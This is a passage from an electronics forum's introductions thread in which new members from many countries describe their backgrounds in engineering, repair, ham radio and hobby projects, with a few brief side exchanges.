Post by: tautech on September 24, 2020, 12:02:45 am
Hi. electronics student. Saying hi but also testing posting since it seems I'm unable to create new thread.
Welcome.

In each of the forum boards at the top is the New Topic button that you use to start a new thread.
Just be sure to start one in the correct forum section it's relevant to however for those that start new threads the Move Topic feature is available at the foot of the page.
Title: Re: New Member, Please introduce yourself
Post by: Ahura Mazda on September 24, 2020, 12:35:30 am
Hi. Thank you for replying.

I've tried that multiple times, but with no luck. By the way, I'm trying to post in "Repair" section.
I'm aware that on some forums, some sections are prohibited from posting on unless one has certain amount of comments. Since you are reading this, as well as my last text, I can post here, but not in "Repair" section. :(

On help page about posting these is the second line which says: "Note, however, that whether a user can post in a board or topic depends on each board's permissions, and a user's membergroup," which tells me I may indeed not post, yet I see no details.

When I try submitting the post, it just brings me to the same new thread page, but blank this time.

Thank you in advance.
Title: Re: New Member, Please introduce yourself
Post by: An_Onion on September 29, 2020, 11:00:59 pm
I'm John from the US. I actually registered ages ago, and have learned a lot by reading stuff already here. I mostly mess with retro electronics but have also been known to diagnose and repair scientific hardware and whatnot for the college I work for. I've been messing with electronics since my original C=64 when I was a kid. My dad actually bought me a PC clone at some point that came as a bunch of chips I had to solder on to the board myself, which was an adventure as a 10-(ish)-year-old. I'm a chemist by training, but I'm working on expanding into the instrumentation side of things. I spent years doing everything with a multimeter and some creativity, but now that I've got a scope, I'm figuring out how to use it.
Title: Re: New Member, Please introduce yourself
Post by: Mr_Bean on September 30, 2020, 10:24:43 pm
Hello from Canada. I graduated with an electrical engineering degree almost 10 years ago but have been working in the software field ever since. I recently flipped through an old textbook and it reignited my passion for electricity, which led me to discover the EEVblog Youtube channel, and I've been enjoying catching up on old videos. I'm looking to brush up on my knowledge and build some (yet to be decided) projects. Currently I own a half decent DC power supply so I'll be looking to purchase an oscilloscope soon and go from there.
Title: Re: New Member, Please introduce yourself
Post by: Renate on October 07, 2020, 01:50:34 pm
Oops, just found this thread. (Do I get points for doing an intro with lots of posts already?)

I'm Renate from the US. I've worked in broadcast & software.
I've been doing hobby electronics for a while.
I remember when LEDs were new and you had to shade them with your hand to tell if they were on or off.

I love USB and build lots of gadgets: function generator, power monitor, volume knob, foot pedal, flash drive mux, keyboard injecter...
My RV is wired up with lots of automation using Modbus.
I love repair and only wish that I had more broken things to fix.
Title: Re: New Member, Please introduce yourself
Post by: johnsonlam on October 13, 2020, 02:22:49 am
I'm Johnson, hobby is electronics (though not good), emulation and Hi-End audio. Feel good when I can repair some broken things, and glad to learn from Dave's video.
Title: Re: New Member, Please introduce yourself
Post by: elekorsi on October 13, 2020, 10:21:57 am
Hi everyone, i am Blaz from Slovenia (yes that little one between the sea and the alps).
After finishing electronics high school i went to study mechatronics. Been in electronics since i was 12-13 years old and i don't even know how i got to it, as my father is mechanical engineer with 0 knowledge about electrics and electronics  :o  It has been few cold years for pure electronics, but lately i am getting back into it due to nature of my work (a lot of repairs).
Last job was in a bigger factory as a part of electronic/automation maintenance crew. After six years i decided to try with my own company and here i am now for three years.
I am now mostly dealing with electronic/electrical repair and maintenance on industrial machines from very different branches (for example: mining equipment, large construction equipment, steel industry, metal and wood working machines, etc.). Together with my colleagues we also do smaller automation projects, with me mostly being responsible for engineering, testing and starting up the projects.
Everyday something new and that is why i LOVE my job  :)
Title: Re: New Member, Please introduce yourself
Post by: 5618 on October 16, 2020, 04:56:48 am
Hi, I’m Kevin. After schooling in electronics, I got into industrial control systems. I get to component level occasionally but mostly I’m an end user of things designed by some of the fine people here. I finally joined to share pics of a few interesting meters. The clear 8060A in “Old Fluke Multimeters” is the most significant one. I’m not worthy of this one but I’m not completely unworthy. A few years ago I brought all my Fluke gear together for a family photo. Since then I’ve added an old 99 ScopeMeter with the cool three piece case, a 3000-FC kit, a CableIQ kit, and some smaller goodies.
Title: Re: New Member, Please introduce yourself
Post by: prophoss on October 21, 2020, 08:48:14 pm
Hey y'all my name is Brian Cooper. I have been hanging out on the FPGA forum for a while. I am from Texas and I am currently going to school for a computer engineering degree. I am an older student and this will be my second career. My first career chose me. I had no college education and just needed to get going since I was married now. This time I chose what I wanted to do and am working hard at it. Well see y'all around.
Title: Re: New Member, Please introduce yourself
Post by: Ratti3 on October 27, 2020, 07:29:36 pm
Hi, I'm from Worthing UK. I've been doing electronics on and off for about 30 years (started at 10yo).
I've been lurking here for a while, looks like I will have a question I need to ask and hopefully someone can help.
Title: Re: New Member, Please introduce yourself
Post by: raybel on November 08, 2020, 03:54:27 am
Hi My name is Ray I am a retired construction electrician I am a member of the IBEW of 75 years
I am also a Amateur radio operator extra class  my call sign is ai2b
since retirement I live in Lehigh Acres Florida ,Born in phila. penn. wwII vet age 92 I think that covers most of it
I've been playing in electronics since I was a kid
I just brought one of those hanteck scopes (DSO5102P) and was interested in up grading to 200mhz
Ray
Title: Re: New Member, Please introduce yourself
Post by: mascotte on November 09, 2020, 01:20:37 pm
Hi all, my name is Felix. I'm German but have been living in the Netherlands for quite some years now. I have a degree in electronics and work in the space industry. Although my job is great, it's unfortunately not very much hands-on and therefore I'm tinkering with a lot of projects at home. I love FPGAs and all kind of digital electronics but I also wanna get back to analog stuff.

This is a great forum, I read many posts as a guest and thought it's time to join and contribute!
Title: Re: New Member, Please introduce yourself
Post by: Jonathon_Doran on November 09, 2020, 08:17:02 pm
Hi everyone.  My name is Jonathon, and I am a CS professor at the University of North Texas.  I've worked in industry for over 30 years before entering academia.

I have puttered around with electronics most of my life, but professionally was on the programming side.  I prefer working with low level stuff (firmware, board support packages, drivers), but I do application stuff when the need arises.

I worked for National Semiconductor for several years, and they would not give me an employee discount on op-amps!  Managers thought that was the stupidest idea ever.  And given the cost of the things, they may have had a point.    I worked on the Geode processors, and it was pretty neat having our own fab.  About once a week someone would come around to all of the offices with a big box of processors.  Our site did CPU design and motherboard design.  My job was to get the things to boot Windows and Linux.

My undergraduate CS work was at the University of Colorado, which was excellent.  We did the engineering core (because we were in the Engineering college), and there was a good chunk of EE in there too.

One thing I remember to this day was an assignment on oscillators.  We were given a circuit and told to simulate it, and then build/demo the real thing.  The simulation was a piece of cake, but the real circuit would not work.  We poked and prodded at that thing for a week without success.  I remember it was 3AM the night before the 8AM lab when this was due when we threw in the towel and decided to get some sleep.  8AM rolls around and we are the first group in the lab.  The lab assistant comes over to us and asks how things are going.  Awful.  Oh well, write up what you have.  We have a big lot of nothing to show, so one of us took out a piece of paper and scrawled "It doesn't fucking work" on it.  We signed it and turned it in.  Give us our zero and let us forget this...   The lab assistant looks at this and asked what we tried.  Everything.  But the simulation worked flawlessly.  And that, ladies and gentlemen, was the point of the assignment.  We got an A.  There might have been some violence but we were too exhausted to care.

Another fun story from the EE dept:  We were given some new A/D board to experiment with.  There was little documentation, but what was there said to never do "X".  Fair enough.  But the board wouldn't do something we needed, and again we poked at it for almost a week.  It turns out that the graduate assistants had the boards for a few weeks before us and came up empty.  The professor was now poking at it, but schedules being what they were the entire class is now assigned to work with the board.  Our little group gets frustrated, and someone (not me) suggested we try "X".  What is the worst that can happen?  The board catches on fire?  The magic smoke escapes?  We decided that the board deserved its fate and gave it a go.  The board worked!  So we were one of two groups who turned in a working solution, when everyone else failed.  We got at A, and the professor made the assignment extra credit since they weren't ready at the start.  Fine with us.  One whole lab of extra credit!  A few weeks later the assignment was once again given, with new instructions.  We took our previous lab report, crossed out the date, put the new date on, and turned it in (with the previous grade still on it).  Then we took the week off.
Title: Re: New Member, Please introduce yourself
Post by: mkalte on November 10, 2020, 08:46:54 pm
Hi!

My name is Malte Kießling and i am a hobbyist from Germany.

I worked as a C/C++ software developer.
However right now i am apprenticing in the event industry (***** me, i guess... Should have finished uni). 

I have a high interest in space tech and rocketry, so i have moved myself into the local rocket club where we are doing all kinds of more or less insane projects :)

Anyway, i never know what to write in these introductions, but tradition is tradition :D
Have a nice day!
Title: Re: New Member, Please introduce yourself
Post by: canismajoris on November 10, 2020, 09:09:21 pm
Hi everyone from the country of baguette! >:D

My name is Timuçin, I am French and I have been working as an electronics engineer for 4 years now.
I just found out about the EEVblog YouTube channel a week or so ago and it brought back my interest in electronics (that had been quite tamed through not-so-interesting projects I had to work on...).

I am quite fond of guitar and music in general... I thank tubes amps and effects pedals for sparking this very interest in electronics!

So here I am to learn some more, to get advice from everyone and hopefully help in return if I can!

Have a nice day everyone!
Title: Re: New Member, Please introduce yourself
Post by: Alteregoxxx on November 13, 2020, 03:01:14 pm
Hi everyone, my name is Gaetano and I'm from Italy

I'm an electronic engineer, currently working in the R&D department of an italian company that is involved in various fields (automotive, software etc etc)

I love designing audio stuff electronic (sound engineer and musician for a good part of my life!), programming, photography, wine, good food and a lot of other (too many for the sake of truth) things  ;D

Have a nice day!
Title: Re: New Member, Please introduce yourself
Post by: ve1nhb on November 14, 2020, 03:05:35 pm
Hi, I am Nelson from Canada.

I was into electronics when I was younger but switched to computers. Trying to get back into it.
I am a  Ham, got my Full license 30 years ago to play with RF electronics and stuff.

Hope with this, I will not be a ZeroPoster now.

Title: Hi from Dave Erickson
Post by: djerickson on November 19, 2020, 12:50:23 pm
Dave Erickson here, from the North Shore of MA. I recently retired from a lifelong EE career with many Route 128 tech companies. I love designing stuff for lab, home and boat, and look forward to many more projects now that I no longer have a day job or corporate allegiance. I am a strong analog guy with enough digital, firmware, and mechanical to make things work. Design review and troubleshooting are my specialties. An active electronics hobbyist since the 60's.
Check out my designs and nerd blogs at www.djerickson.com (http://www.djerickson.com)

For a score of companies, I designed medical equipment, AC and DC instrumentation, lots of electro-optics, video, graphics, image processing, lots of sensors and actuators, power electronics, audio, music synthesizers, ultrasound, marine electronics, data converters, FPGAs, CPUs, motion control, many test systems, Semiconductor ATE, communications, you name it. I designed products for large companies: HP Medical, Corometrics, Dymo, BASF, Analogic (5y), Zoll, Teradyne, and for startups: Octek, Datacube (16y), Clarendon Photonics, Cambrius, Luminus, STH, Galaxy, and most recently Infraredx (12y).

Hope to share my existing and new projects with you all. This is an exciting blog and I am glad to be taking a more active role in it and sharing my expertise. Hope I can help you and learn from you.

Dave Erickson
www.djerickson.com (http://www.djerickson.com)
Title: Re: New Member, Please introduce yourself
Post by: ildar on December 02, 2020, 03:39:46 pm
Всем привет. Меня зовут Илдар. Я из Узбекистана.Работал наладчиком контрольно-измерительных приборов. Сейчас осваиваю NEODEN4. Я новичок в этом. надеюсь на помощь форума.
Title: Re: New Member, Please introduce yourself
Post by: shig on December 04, 2020, 10:55:23 pm
OOps. I didn't see this thread until now. Oh well, I'm still new. Hi, I'm in the U.S. (Colorado). Never really had much interest in electronics until earlier this year when I my neighbors gave me some PC monitors from estate sales that I really wanted but that all had the same issue. I looked into the problem, and it turns out it was a pretty simple fix. I went to an electronics store that I had been to before. A gigantic place that has been there for 30+ years. I bought capacitors and fixed all 3 monitors. I then started gathering up free LCD tvs with cracked screens from craigslist and facebook marketoplace and taking out the boards to take the capacitors and resistors out of, then started selling the boards that were worth selling. Anyway, I got the urge to learn more. The giant store I spoke of decided to close its doors back in August. They liquidated everything. I was in there every day for a week and ended up on the cleanup/ clear out crew. I bought TONS of stuff at super cheap prices. Some I plan to use someday, but most of it I am selling. I have sold quite a bit locally and on ebay and another site. I'm really enjoying this site. It's an amazing place to learn (and get quite intimidated as well haha).  I feel like every time I feel I've learned something big and new, there's something right around the corner waiting to kick me and throw 500 more topics and facts in my face. Definitely So, I'm learning, and meeting people and making some money at it as I go. Guess I can't complain. I suppose I'll get to the for sale section soon with some of this excess I have. Look forweard to meeting a bunch of you!
Title: Re: New Member, Please introduce yourself
Post by: rallen on December 07, 2020, 08:52:57 am
Hey all, my name is Ray and I'm in my final year of electrical engineering at UBC in Vancouver, Canada!

Most of my interest is in power electronics for EVs and renewables. I've spent the past few years on UBC Formula Electric (https://www.ubcformulaelectric.com/), a student design team that creates cars to compete in FSAE Formula Electric competitions. I've also built my own electric skateboard and e-bike.

As my final year project, I'm part of a group of students basically making a competitor to the OpenScope. A reminder that Dave handily roasted the OpenScope in #1056. Hopefully our project avoids a lot of the shortcomings of the OpenScope and might get adopted by UBC as part of it's 2nd year lab kit for electrical engineering students.

Fun fact: I'm also a licensed pilot and glider flight instructor!

Anyways I look forward to building my practical engineering skills and learning about how things are done in industry. I feel like this forum has a lot of knowledge when it comes to these kind of things. Hope to see you all around!
Title: Re: New Member, Please introduce yourself
Post by: Ivy-Jane on December 09, 2020, 05:36:05 am
Greetings, I'm Ivy,

I used to be an electronics tech, and contracted with Motorola back years ago running bodge wires for a few thousand radios for the CFA and DNRE.

Ended up in IT eventually and getting back into electronics. Recently rewired some simple passive circuits for my guitars, which is always fun.

And arguing on guitar forums that most poly caps are the same, and those "orange drops" that you're buying from guitar sites for $10 or more can be found cheaply via other means.

But then guitarists often believe in a lot of woo so I probably should stop.

anyway I think I'll enjoy this forum.
Title: Re: New Member, Please introduce yourself
Post by: ManiTo on December 09, 2020, 11:30:14 am

Hi
My name is Mani and i'm a retired electronics engineer. i used to be a amateuer radio operator but this is really ages ago.
i worked as an electronics design engineer designing robotic controls.
just purchased a siglent 2104X Plus scope, and enjoying it so far :)
Nice forum here, thank you all!
Mani

Title: Re: New Member, Please introduce yourself
Post by: Poty on December 10, 2020, 02:24:49 pm
Hello. My nick is Poty (not related, at least in my country). I`m an advanced hobbyst, and starting to deveop some commercial applications on electronics, mostly microprocessing ones. Senior progammer, C, PHP and a few other languages, but always learning something new, in all topics.
Nice to meet you.

Regards.
Title: Re: New Member, Please introduce yourself
Post by: jfitzgerald on December 24, 2020, 04:44:42 pm
Hello all!   I recently discovered Dave's YouTube channel so though I would join in the fun here.   

I have fooling around with electronics and ham radio since I was i kid in the late 70's.   Professionally I have had some sort of factory floor adjacent to my office, but recently I find myself writing software to control electric grids around the world.   Fun stuff, but not at all hands on.   So I need to get that out of my system at home in the radio shack.   I have a bunch of projects to finish including a broken TDS 420A scope, an Analog Devices ADALM-PLUTO SDR to play with and then some.

Title: Re: New Member, Please introduce yourself
Post by: DH7DN on December 31, 2020, 03:18:39 am
Hi everyone! My name is Denis and I'm from Germany.

I'm an (physics) engineer in a calibration lab but I consider myself as an electronics novice. I'd like to learn more about test gear, repairs, metrology and precision measurements in the next couple of years. I'm also a ham radio operator (on hiatus) but I'd like to reignite the hobby in 2021.

I was hesitating doing electronics as a hobby but it was always frustrating watching others doing interesting stuff and projects instead of doing my own projects. Few months ago I decided to build my own Lab/Workspace where I can tinker and do my own experiments.

I've been following Dave's YouTube Channel for like 10 years now but never registered to his forum. He and Shahriar from TheSignalPath really inspired me to give it a try.

So let's see what 2021+ will bring and happy New Year everyone! :-)
Title: Re: New Member, Please introduce yourself
Post by: pnoud on January 06, 2021, 05:26:56 am
Hello from the US.  I work in the tech industry and spend my days with my head in the clouds so I have an interest in what happens closer to the metal.  I found the Youtube channel a few years ago and have enjoyed following along.  I just recently moved to a place with a garage so I picked up the Ben Eater 8bit CPU kit to actually do something electronics-y and as an excuse to build out a home lab.
Title: Re: New Member, Please introduce yourself
Post by: Ph00bz on January 06, 2021, 10:37:44 pm
Hi from Australia! I'm studying electrical engineering, I signed up mainly for the wealth of info on here   :-+

Cheers
Title: Re: New Member, Please introduce yourself
Post by: hvna on January 10, 2021, 07:04:10 pm
Hello everyone. I'm a student of electrical engineering in my second year at the University of Central Florida. Currently living in Ireland to avoid all the craziness in the US. Just came here because I've been watching the EEVblog youtube for a few years and never actually made an account on the forum, just lurked. Anyways, nice to meet everyone!
Title: Re: New Member, Please introduce yourself
Post by: 450bush on January 11, 2021, 05:04:21 pm
Hi Everyone!

New member from US... I am a Electrical Engineer, however my career went to the management side 10+ years ago... slowing getting back to the electronics hobby.
Title: Re: New Member, Please introduce yourself
Post by: ElectroXa on January 12, 2021, 12:51:23 pm
Hello everyone  :D

Another new member from France
I have not yet a job, as I am still into the studies (1st year out of the 5 years of electronics engineer), and I'm 19 years old.
I'm doing electronics since 10-11 years, as I began with electronics toy / kits when I was 8-9
I'm also doing high voltage hobby since 2 years, especially with ZVS flyback, voltage multipliers, and oil transformers.

I come here to discuss about electronics, after lurking this forum for ~ 1year, as electronics is  my main hobby
Title: Re: New Member, Please introduce yourself
Post by: Sivad87 on January 12, 2021, 09:58:36 pm
Hello EEV Blog  :D My name is Ryan from the US ( <--- please dont hold that against me w/ current affairs)  :-DD

Very long time electronics learner with a crazy journey thus far. Well lets see, Ive been around electronics since the analog era into the digital. Maybe not as much as some of the "veteran", "seasoned", or old timers but I remember MS DOS and floppy drives well  :-DD

I have been subscribed to EEVBlog since 17NOV2016 and used to fall asleep catching up on all videos he had from then on. I haven't been as faithful lately (sorry) but that I've finally been able to get back into school now and finish my engineering technology degree with a concentration in electrical and currently a senior completing my first Bachelors.

After nearly 10 years in the auto industry working on repairing 12v dc systems it really got me interested in engineering as well. Hoping to be finished sometime 2021 with my BS. This is a complete change in direction for me since previously it was auto specific electrical repair and diagnosis which lead to a great deal of knowledge on both electrical and mechanical systems but between that and military experience operating 24v dc systems in trucks and radios as well (They didn't let us tinker much, pull and replace faulty stuff, never teardown) I'm ready for the next step.

Honestly I keep forgetting the forum exists and is SO CRAZY PACKED with great information and people. This is me getting back into social settings and forums again ( >:D) and with my career moving forward and such a change from auto repair to engineering I'm sure I will have plenty of questions that will eventually lead into help for others :)

Currently I am a student worker for my university and operate the electronics lab for our students as well as tutor some of the lower classes and currently preparing to finish communication and microcontroller classes this spring.

Future goals, I would love to work with one of the front line companies in the industry but we will see where the road takes me. Hopefully not just to the local air conditioner factory  :-X
Title: Re: New Member, Please introduce yourself
Post by: sarge on January 17, 2021, 01:28:59 pm
Just a quick hello in the forums, here, wouldn't hurt; Go by 'sarge' here, but under a different alias in the IRC channels. Have been part of the IRC channels for quite some time, yet signed up for this account some time ago, and haven't really posted anything until now.

Worked on aircraft avionics in the past, nowadays into ham radio, electronics in general, programming, networking, etc; This list keeps expanding, as according to my friend, I'm really crazy when it comes to this sh*t. Yes, that's singular, people suck here in the US, so I keep that friend list to a minimum. No formal education, other than the military.

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: michael@metgen.tech on January 18, 2021, 06:21:12 am
Mike from Tokyo. Enjoying hobby electronics. Really getting into PSoCs and home automation.

Thanks!
Title: Re: New Member, Please introduce yourself
Post by: AlessandroHull on January 18, 2021, 08:48:15 pm
Hello to everyone! My name is Alessandro, I am 19 and I am currently in university for audio engineering, and just started learning electronics... (about half a year ago). I started because i want to build my own modular synthesizer, and now working towards general audio equipment electronics... so yeah huge noob here! Living in tuscany for now. That's all for now... toodles!
Title: Re: New Member, Please introduce yourself
Post by: tumblebomb on January 26, 2021, 09:04:00 pm
Hi Folks,  New guy from Scotland here. I did study electronics a bit at Uni, but never got too deep. I always did hobby with it on & off (Mum taught me to solder when I was little lol) but now trying to get started again. I work in IT and enjoy a bit of coding. I enjoy the youtube videos as I can still mostly understand whats being discussed but my practical knowledge is pretty lacking.
Title: Re: New Member, Please introduce yourself
Post by: MuhScopeBroke on January 27, 2021, 02:06:46 pm
Hello! I'm an EE student in Pittsburgh and a long time lurker of the forum. The stuff that's posted in general is hilarious and I want to contribute. Maybe talk about electronics too...
Title: Re: New Member, Please introduce yourself
Post by: 9a6aag on January 27, 2021, 02:43:52 pm
Hello from Croatia, Vlad, 40+,  from Karlovac city, live in Zagreb, ham radio 9a6aag as my profile nick as well, doing some electronics in UPS domain mostly, chargers and power supplies, but always and still learning, got interest in repairing BMS and PMC for small golf cars...like Textron;Cushman, EzGo, Melex...etc...

PS: if anyone visits Croatia during summer time on motorcycle (road or off road, i am doing it both), just give me a wink so i can give the tips or even be a tour guide around for best curvy roads and landscapes around the country ;)
Title: Re: New Member, Please introduce yourself
Post by: Gentlegiant on January 31, 2021, 03:47:14 am
Hi guys! Happy to be here :)

I was a student in electronics for 2 and a half years, but dumped all my classes 6 months away from my diploma. I needed to live life on my own for a while, school was killing me from the inside. Fast forward 2 years, during which I didn't touch anything electronics related (I was working on film and tv show sets, but nothing you've heard about), and here I am now, a professional electronics technician...

I buy broken stuff, fix it and resell it for a profit! I've been doing this for a couple months and I'm having the time of my life. I don't make a ton of money doing this, but I make more than enough and I love doing it, and that's what matters the most to me. The feeling of pure bliss when you finally find what was causing that darn problem and fixing it is very addictive... much more than sitting in a class listening to someone talk about capacitors for 3 hours :D

I am here to learn, and eventually to help once I get good enough!

See you around ;)
Title: Re: New Member, Please introduce yourself
Post by: Ctrd00 on February 01, 2021, 06:33:42 pm
Greetings! I'm a software engineer from Santiago, Chile, dabbing into hardware and electronics as a hobby.  :-+

I began with Arduinos, Rasperry Pis and that sort of thing, and now I'm continuing to learn more and more about electronics and electricity in general, trying to understand how my software works from the electron level! I'm also a tinkerer by heart so I love to build stuff, repair, or just crack open devices and poke them with my oscilloscope and  multimeter. I've been watching EEVBlog for a while in Youtube but now it's my first time posting in the forums. So hello!  :D
Title: Re: New Member, Please introduce yourself
Post by: hmscott on February 08, 2021, 03:37:57 pm
Hi everybody!, I'm hmscott - from the San Francisco Bay Area!

I started in electronics when I was 8 or so, got my Amateur Novice license when I was 12, and then General 2 years later.  Currently lapsed, but getting back into it now that I am "retired", actually disabled.  Can't get around like I used to, so back into my hobbies: Hifi listening, Radio - SWL now, Ham relicense later, RC vehicles, and Test Equipment.

Now I want to get back to my roots and enjoy some hands on electronics project building supporting my radio, RC, hifi hobbies.  I also bought the EEVBlog BM768 here yesterday, and of course I've been watching Dave for many years on YouTube.

I'm happy to be a new member of the EEVBlog.  :-+
Title: Re: New Member, Please introduce yourself
Post by: CherryDT on February 09, 2021, 10:04:17 am
Hi everyone,

I'm David "Cherry" Trapp, 28yo self-employed software developer from Austria, I was always into electronics and other technical stuff - in school I built robots and display boards that show our lesson schedule and its changes and things like that. I've been watching EEVBlog videos and supporting Dave on Patreon for many years now, but since I didn't do much with hobby electronics in the recent years and focused more on my main profession (although I definitely want to pick it up again) I rarely looked into the forums.
Title: Re: New Member, Please introduce yourself
Post by: Antares on February 18, 2021, 08:53:05 pm
Hello everyone,
I am a medico from Oz.
Finally getting to do and learn about real evidence-based science. Have been following Dave's YT channel for a while and become really envious of his dumpster-digging abilities. Lurked here recently and been amazed at the depth of knowledge, as well as the generosity of the posters.
Look forward to learning lots and, hopefully, contributing.
Title: Re: New Member, Please introduce yourself
Post by: esinior on February 21, 2021, 06:16:16 am
hi
this forum act very weak despite it's universality, it has no room and way to resolve users problems and all of the pages translate automatically for me despite i don't want this, i'm so sorry why such a site should have such this defects
Title: Re: New Member, Please introduce yourself
Post by: tautech on February 21, 2021, 06:48:05 am
hi
this forum act very weak despite it's universality, it has no room and way to resolve users problems and all of the pages translate automatically for me despite i don't want this, i'm so sorry why such a site should have such this defects
Welcome to the forum.

Use a browser with a translate feature.
Google Chrome can accommodate for other languages just fine.
Title: Re: New Member, Please introduce yourself
Post by: esinior on February 21, 2021, 07:15:35 pm
do you really read my post? i said i don't want to eevblog.com auto translate pages from english, not translating to other languages
Title: Re: New Member, Please introduce yourself
Post by: SixAB on February 21, 2021, 08:11:21 pm
I just realised that I hadn't posted an introduction as my first post, so here it is  :)

I started out in embedded development years back, both hardware and software. Fairly simple devices, temperature controllers, burglar alarm control panels, etc. all of which are very much mundane now, but at the time were state-of-the-art.

Unfortunately, a move to a new city put an end to my embedded career as all I could find was more traditional corporate type software jobs. For a few years, I managed to find a bit of embedded consulting on the side, but not enough to make a switch to it as a full-time career, and slowly as the years went by with a family to raise, I drifted away from software completely into a completely different career.

I have recently renewed my interest in embedded engineering, the landscape has changed in so many ways that there is so much more to learn, Arduinos, Rasberry Pi's etc. But in some ways, things haven't changed that much, just smaller and faster, I am amazed at just how much more has been integrated into a single device when I compare the then state-of-the-art Pic16F87 with a few KB of eeprom and 256 bytes of ram to the Pic32 devices available today in yet even smaller packages.

Browsing this forum has been a fantastic resource,
Thanks,
Six




Title: Re: New Member, Please introduce yourself
Post by: StaticPopcorn on February 22, 2021, 06:09:29 pm
Good day everyone,

I have been a long lurker in this forum for the past year or so. Today, I finally decided to formally join as I have a lot of questions and things I would like to show.

I am a Physics Grad student with a hobby/minor on electronics. I am doing a lot of electronics related research related to SiPMs and their usage in Physics. I am in my heart a volt nut but I lack the resources to do so.

My experience with electronics goes as low as analog circuitry, to high level as FPGA. You name it and I have tried it (except RF that’s black magic for me)

Hopefully you will see more of me.
Title: Re: New Member, Please introduce yourself
Post by: Phil_G on February 23, 2021, 04:09:36 pm
Hi, newly registered, interests tend to wander but currently retro-computing, on the bench is a SWTPC 6800 clone/reproduction, on the shelf a couple of homebrew SC/MP systems and more 6800 projects, Z80 etc.  Main hobby is on hold through lockdown, which is modern emulation boards used to retrofit vintage radio-control equipment, mostly in PIC assembler, the idea being to safely fly a 50-year-old aeroplane with an appropriate 50-year-old radio. Revisiting your youth is a popular pastime these days  ;)
Cheers
Phil
Title: Re: New Member, Please introduce yourself
Post by: Renate on February 23, 2021, 08:07:56 pm
A freaking limey and a fan of SWTPC? :)
I had an MC6802 (with 128 bytes of RAM).
Why would you need any more?
Title: Re: New Member, Please introduce yourself
Post by: JohnnyMalaria on February 23, 2021, 09:57:08 pm
A freaking limey and a fan of SWTPC? :)
I had an MC6802 (with 128 bytes of RAM).
Why would you need any more?

Freaking Limeys created 'Murica. :)
Title: Re: New Member, Please introduce yourself
Post by: Renate on February 24, 2021, 11:50:55 am
Freaking Limeys created 'Murica. :)
Actually, they just shipped out all their religious loonies. :)
Title: Re: New Member, Please introduce yourself
Post by: unixb0y on February 26, 2021, 01:31:00 am
Hello everyone! :popcorn:
I'm a student from Germany. I am currently doing my Master's degree in IT-Security after having completed my Bachelor in Computer Science a year ago.
Even though we do for the most part software in my studies, I am in my free time very interested in electronics and hardware, so I'm a big fan of Dave from EEVBlog! Long time subscriber...  :)
I've built 3D printers, various custom "IoT" devices based on ESP8266 and tinkered with RF-stuff as well as designed basic PCBs. I also really like putting together custom (DIY) mechanical keyboards.  :-+

Oh, another interest of mine is retro computing. I have a few GameBoys that are the device I kind of grew up with, planning to code something cool for them when I find the time. Also I built myself the amazing "RC2014" (Z80-based computer) and the matching VT132 (VT100-emulating) terminal to control it and hop onto BBSes from time to time :)
Title: Re: New Member, Please introduce yourself
Post by: Gillandro on March 01, 2021, 05:49:29 pm
Hi im simon....i have some minor experience with electronics....ive used multimeters... built soldering kits and a lightsaber from a saber parts seller.
Title: Re: New Member, Please introduce yourself
Post by: ChemTalk on March 05, 2021, 04:17:55 pm
hello, my name is Scott and I enjoy electrochemistry and electrolysis. I also help out with a non-profit called ChemTalk.  It's really great to see the electronics community going strong! hope to learn more here about various electronic devices everyone is using, and if anything chemistry related comes up I'll try to contribute something useful. Nice to meet everyone.
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ChemTalk (https://chemistrytalk.org)
Title: Re: New Member, Please introduce yourself
Post by: Michael YYZ on March 14, 2021, 04:14:48 am
Hello everyone! Recently, I fixed the PA in my subwoofer, which developed a permanent humming noise. After blindly replacing all electrolytic capacitors inside with high-quality components, I realized how nice it would be to have an oscilloscope. Researching the market for one brought me to EEVblog.

I have been an electronics hobbyist since my very long ago childhood years, being lucky to still be alive after the number of times I accidentally electrocuted myself. Now a civil engineer with 35 years of professional experience and a professor, I maintained my hobby in electronics and I enjoy it every so often. I also have a HAM radio licence at the Advanced level. I would venture to assume that there are not many civil engineers here but, if you happen to be one, please do say hello!

I’m very happy to have discovered this community and hope to learn a lot from everybody here. In particular, Dave is commendable for all his vast knowledge and willingness to share it with all of us.

I look forward to enjoying my new friends and my old hobby!...
Title: Re: New Member, Please introduce yourself
Post by: gtm on April 03, 2021, 01:46:56 pm
Hello everyone.
My name is Gabriel, I am a physics student at University (distance learning) and a long time, on and off, self-taught electronics hobbyist. I used to fix broken stuff a long time ago, (analog oscilloscopes mainly), and sell it on the bay. I don't do that anymore.
I am a curious person and I like to understand the "why" of things, not just the "how", even if that involves getting out of my depth occasionally.
Looking forward to continue learning from this forum , and contribute in it if I can.
Title: Re: New Member, Please introduce yourself
Post by: AmnevaR on April 09, 2021, 02:03:12 pm
Hmm...an introduction post...ok.
My name is Andrii, 28. I've been an active forum reader for like 3+ years and an electronics hobbyist for 9+ years :-DD

Worked for 1 year in PCB prototyping factory (small quantity production of multilayer PCBs) and 1 year as SMT machine operator (automatic solder paste printer).
And before that worked for 3 years as a metrology technician (installing and calibrating flowmeters, temperature sensors, etc.)

My fields of interest are electronics, mechanics, 3D printing, CNC control, robotics :-/O
Title: Re: New Member, Please introduce yourself
Post by: endure on April 10, 2021, 04:35:03 pm
Hi all. Name is Richard. Used to be a merchant navy radio officer then moved into IT. Now retired so I thought  I'd start putting ino practice the stuff I was taught years  ago.
Title: Re: New Member, Please introduce yourself
Post by: Crashpc_CZ on April 19, 2021, 05:25:56 pm
Heya! Crashator is here. :-)
Wanted to find some info, ask some questions about Siglent scope which I bought, but before verification, I found out the scope doesn´t have the needed feature. So I will have to make do without it.
Looking for cool stuff, cool people, some geekery, help both ways. Let´s see what we´ve got here. It´s quite roomy here!  :scared:
How about audio? Going to make measurement lab - AES power measurements, already doing TS parameters and comparative frequency response measurements, and will do Large Signal Identification (transducer linearity measurement) using Laser measurements.
Title: Re: New Member, Please introduce yourself
Post by: OldVolts on April 20, 2021, 01:43:07 am
Better late than never, I hope.
Name is Bill Powell
Older than dirt - they were called cycles back when Al Gore and I invented them :-)
Retired from AT&T Labs - THE Labs going on 15 years now.
Last assignment was intrusion suppression and consulting with top 100 customers to perform security audits.
Taught protocols in upper baccalaureate curriculum in AT&T School of Business and Technology
Pioneer in early experiments in what was then called "distance learning"
Started cleaning relays at AT&T Camden
Communications Technician Maintenance - NSGA
Ham Advanced Class license (had to pass a code test in front of a snarling FCC "drill instructor" back then
Was repeater frequency coordinator for Eastern PA and SNJ
Support the local radio club's repeater systems / network
 - Yes - you WILL become busier when you retire.
Title: Re: New Member, Please introduce yourself
